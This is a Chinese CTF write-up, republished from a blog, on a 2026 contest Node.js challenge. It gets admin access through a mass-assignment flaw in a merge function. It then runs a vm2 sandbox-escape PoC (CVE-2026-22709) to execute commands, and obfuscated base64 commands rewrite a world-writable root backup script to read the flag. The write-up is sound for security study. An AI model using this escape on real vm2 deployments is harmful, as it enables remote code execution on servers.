26软件安全区域赛nodejs复现

admin 2026-05-11 05:56:20 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 文档复现了2026年软件安全竞赛中一道Node.js题目,通过原型链污染漏洞将普通用户提升为管理员权限,并利用VM2沙箱逃逸漏洞(CVE-2026-22709)执行系统命令。针对无回显场景,作者采用写文件到静态目录的方法读取执行结果,提供了完整的利用步骤和POC代码。 综合评分: 88 文章分类: CTF,漏洞分析,WEB安全,代码审计,安全工具


cover_image

26软件安全区域赛nodejs复现

原创

浪漫土狗 浪漫土狗

正在思考ing

2026年5月8日 09:09 江苏

在小说阅读器读本章

去阅读

前言

所以比赛的一整天弹shell都弹不动是何意位啊😭😭😭

特地存了vm2最新cve的poc,结果在现场尝试了一天的反弹shell都失败,而且我一弹shell环境就崩溃。当时电脑里也没有安装vm2,本地根本起不了,只能反复的开关容器尝试🤡。但是这还不是最绝望的,最绝望的是比赛时还想过写文件操作,但是不确定有没有设置静态目录,于是随便猜了个目录名没成功就放弃了,水橙想呢,反耳就在源码第七行写了静态目录的目录名🤬😡👿愣是一天都没注意到这一行的代码,也是被自己菜哭了好吧😭😭😭

赛后在本地测试是能弹shell的,我真的没招了,给了兄弟。之前测试反弹shell的记录没保存,附件也删了,本文就记录下写文件处理无回显的方法。其实本来还想顺便学习一下CVE-2026-22709的漏洞原理,但显然我是高估了自己的能力了,这里就简单记录下这道题的解题思路。

参考链接

https://xz.aliyun.com/news/91998

题目复现

题目源码:

const express = require('express');
const path = require('path');
const session = require('express-session');
const { VM } = require('vm2');
const app = express();

app.use('/static', express.static(path.join(__dirname, 'public')));
app.use(express.json());

// Session 配置
app.use(session({
    secret: 'random',
    resave: false,
    saveUninitialized: false,
    cookie: {
        maxAge: 3600000,  // 1小时
        httpOnly: true
    }
}));

const users = {};

function merge(target, source) {
    for (let key in source) {
        if (key === '__proto__') continue;
        if (typeof source[key] === 'object' && source[key] !== null) {
            if (!target[key]) target[key] = {};
            merge(target[key], source[key]);
        } else {
            target[key] = source[key];
        }
    }
    return target;
}

// 首页
app.get('/', (req, res) => {
    res.sendFile(path.join(__dirname, 'public', 'index.html'));
});

// 注册
app.post('/register', (req, res) => {
    const { username, password } = req.body;

    if (!username || !password) {
        return res.json({ error: '用户名和密码不能为空' });
    }

    if (users[username]) {
        return res.json({ error: '用户已存在' });
    }

    users[username] = { username, password };
    res.json({ message: '注册成功,请登录' });
});

// 登录
app.post('/login', (req, res) => {
    const { username, password } = req.body;
    const user = users[username];

    if (!user || user.password !== password) {
        return res.json({ error: '用户名或密码错误' });
    }

    req.session.user = { username: user.username };
    res.json({
        message: '登录成功',
        user: {
            username: user.username,
            isAdmin: user.isAdmin
        }
    });
});

// 退出登录
app.post('/logout', (req, res) => {
    req.session.destroy((err) => {
        if (err) {
            return res.json({ error: '退出失败' });
        }
        res.json({ message: '已退出登录' });
    });
});

// 修改密码
app.post('/changepassword', (req, res) => {
    if (!req.session.user) return res.json({ error: '请先登录' });

    const username = req.session.user.username;
    const user = users[username];

    const { oldPassword, newPassword, confirmPassword } = req.body;

    // 验证旧密码
    if (user.password !== oldPassword) {
        return res.json({ error: '旧密码错误' });
    }

    // 验证新密码
    if (newPassword !== confirmPassword) {
        return res.json({ error: '两次密码不一致' });
    }

    merge(user, req.body);
    user.password = newPassword;

    res.json({ message: '密码修改成功' });
});

// 用户信息(检查登录状态)
app.get('/me', (req, res) => {
    if (!req.session.user) return res.json({ error: '请先登录' });

    const username = req.session.user.username;
    const user = users[username];

    res.json({
        username: user.username,
        isAdmin: user.isAdmin
    });
});

// 管理员面板
app.get('/admin', (req, res) => {
    if (!req.session.user) return res.json({ error: '请先登录' });

    const username = req.session.user.username;
    const user = users[username];

    if (user.isAdmin === true) {
        res.json({
            message: '欢迎管理员!',
        });
    } else {
        res.json({ error: '需要管理员权限' });
    }
});

app.post('/sandbox', async (req, res) => {
    if (!req.session.user) return res.json({ error: '请先登录' });

    const username = req.session.user.username;
    const user = users[username];

    if (user.isAdmin !== true) {
        return res.json({ error: '需要管理员权限' });
    }

    const { code } = req.body;
    if (!code) return res.json({ error: '请提供代码' });

    try {
        const sandboxResult = { value: null };

        const vm = new VM({
            timeout: 5000,
            sandbox: { __result: sandboxResult }
        });

        const result = vm.run(code);

        awaitnewPromise(resolve => setTimeout(resolve, 500));

        res.json({
            result: result?.toString() || '执行成功',
            output: sandboxResult.value
        });
    } catch (error) {
        res.json({ error: error.message });
    }
});

app.listen(3000, () => {
    console.log('Server running on port 3000');
});

注意看changepassword路由中出现merge函数,这是原型链污染最常利用的函数,我们可以通过控制req.body的内容来进行污染

if (newPassword !== confirmPassword) {
        return res.json({ error: '两次密码不一致' });
    }

    merge(user, req.body);
    user.password = newPassword;

    res.json({ message: '密码修改成功' });

再看admin路由,会从users对象中获取当前用户的isAdmin值进行身份认证,isAdmin属性值为true能获取到admin权限。因为修改密码的操作是没有任何限制的,我们可以抓包然后添加一条isAdmin=true从而污染users对象中的属性。

app.get('/admin', (req, res) => {
    if (!req.session.user) return res.json({ error: '请先登录' });

    const username = req.session.user.username;
    const user = users[username];

    if (user.isAdmin === true) {
        res.json({
            message: '欢迎管理员!',
        });
    } else {
        res.json({ error: '需要管理员权限' });
    }
});

再次登录就能执行命令

源码中提到vm2的版本为3.10.0,是最新的版本,所以前面老的漏洞就不再考虑,直接看最新的漏洞CVE-2026-22709。因为不懂原理这里就直接利用poc了

const customInspectSymbol = Symbol.for('nodejs.util.inspect.custom');

obj = {
    [customInspectSymbol]: (depth, opt, inspect) => {
        inspect.constructor('return process')().mainModule.require('child_process').execSync('whoami');
    },
    valueOf: undefined,
    constructor: undefined,
}

WebAssembly.compileStreaming(obj).catch(()=>{});

结果表示执行成功,在比赛时回显的结果是绿色的,表示执行成功,如果报错就会回显红色的错误信息。针对无回显,要么就是反弹shell,要么就是写文件。本题采用的后面一个方法

app.use('/static', express.static(path.join(__dirname, 'public')));

注意到app.js中第七行的这段代码,说明是存在静态目录的,所以可以使用写文件的方法,具体操作就是将命令执行结果写入到/app/public/目录下的文件中,然后在浏览器上访问/static/文件名即可读取到静态目录下的对应文件

ls / -l > /app/public/ls.txt

改下命令,然后访问/static/ls.txt可以获取到命令执行的结果

total 80
drwxr-xr-x   1 root root 4096 May  7 12:26 app
-rwxrwxrwx   1 root root  379 May  7 11:45 backup.sh
lrwxrwxrwx   1 root root    7 Apr 10 02:21 bin -> usr/bin
drwxr-xr-x   2 root root 4096 Apr 18  2022 boot
drwxr-xr-x   5 root root  340 May  7 12:26 dev
-rwxrwxrwx   1 root root  178 May  7 12:24 entrypoint.sh
drwxr-xr-x   1 root root 4096 May  7 12:26 etc
-r--------   1 root root   44 May  7 11:45 flag
drwxr-xr-x   2 root root 4096 Apr 18  2022 home
lrwxrwxrwx   1 root root    7 Apr 10 02:21 lib -> usr/lib
lrwxrwxrwx   1 root root    9 Apr 10 02:21 lib32 -> usr/lib32
lrwxrwxrwx   1 root root    9 Apr 10 02:21 lib64 -> usr/lib64
lrwxrwxrwx   1 root root   10 Apr 10 02:21 libx32 -> usr/libx32
drwxr-xr-x   2 root root 4096 Apr 10 02:21 media
drwxr-xr-x   2 root root 4096 Apr 10 02:21 mnt
drwxr-xr-x   2 root root 4096 Apr 10 02:21 opt
dr-xr-xr-x 309 root root    0 May  7 12:26 proc
drwx------   1 root root 4096 May  7 12:26 root
drwxr-xr-x   1 root root 4096 May  7 12:26 run
lrwxrwxrwx   1 root root    8 Apr 10 02:21 sbin -> usr/sbin
drwxr-xr-x   2 root root 4096 Apr 10 02:21 srv
dr-xr-xr-x  13 root root    0 May  7 09:27 sys
drwxrwxrwt   1 root root 4096 May  7 12:26 tmp
drwxr-xr-x   1 root root 4096 Apr 10 02:21 usr
drwxr-xr-x   1 root root 4096 Apr 10 02:31 var

可以看到flag是不可读的,没有权限,注意到该目录下还有个backup.sh文件,查看内容

#!/bin/sh

BACKUP_DIR="/tmp/backups"
TIMESTAMP=$(date +%Y%m%d_%H%M%S)
BACKUP_FILE="$BACKUP_DIR/app_backup_$TIMESTAMP.tar.gz"

mkdir -p "$BACKUP_DIR"

echo "Creating backup: $BACKUP_FILE"
tar -czf "$BACKUP_FILE" -C /app .

chmod 644 "$BACKUP_FILE"

cd "$BACKUP_DIR" && ls -t app_backup_*.tar.gz | tail -n +6 | xargs rm -f 2>/dev/null || true

echo "Backup completed: $BACKUP_FILE"

这是一个备份工具,所有权为root,可以利用该文件进行提权,先将读取flag的命令覆盖该文件的内容,然后再执行该文件

echo ZWNobyAiY2F0IC9mbGFnID4gL2FwcC9wdWJsaWMvZmxhZyIgPiAvYmFja3VwLnNo | base64 -d | sh

这里我选择进行base64编码这样就不用考虑引号问题,然后再将该命令替换为/backup.sh运行该文件去执行写入的命令,最后访问/static/flag就能获取到flag


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:正在思考ing 浪漫土狗 浪漫土狗《26软件安全区域赛nodejs复现》

评论:0   参与:  0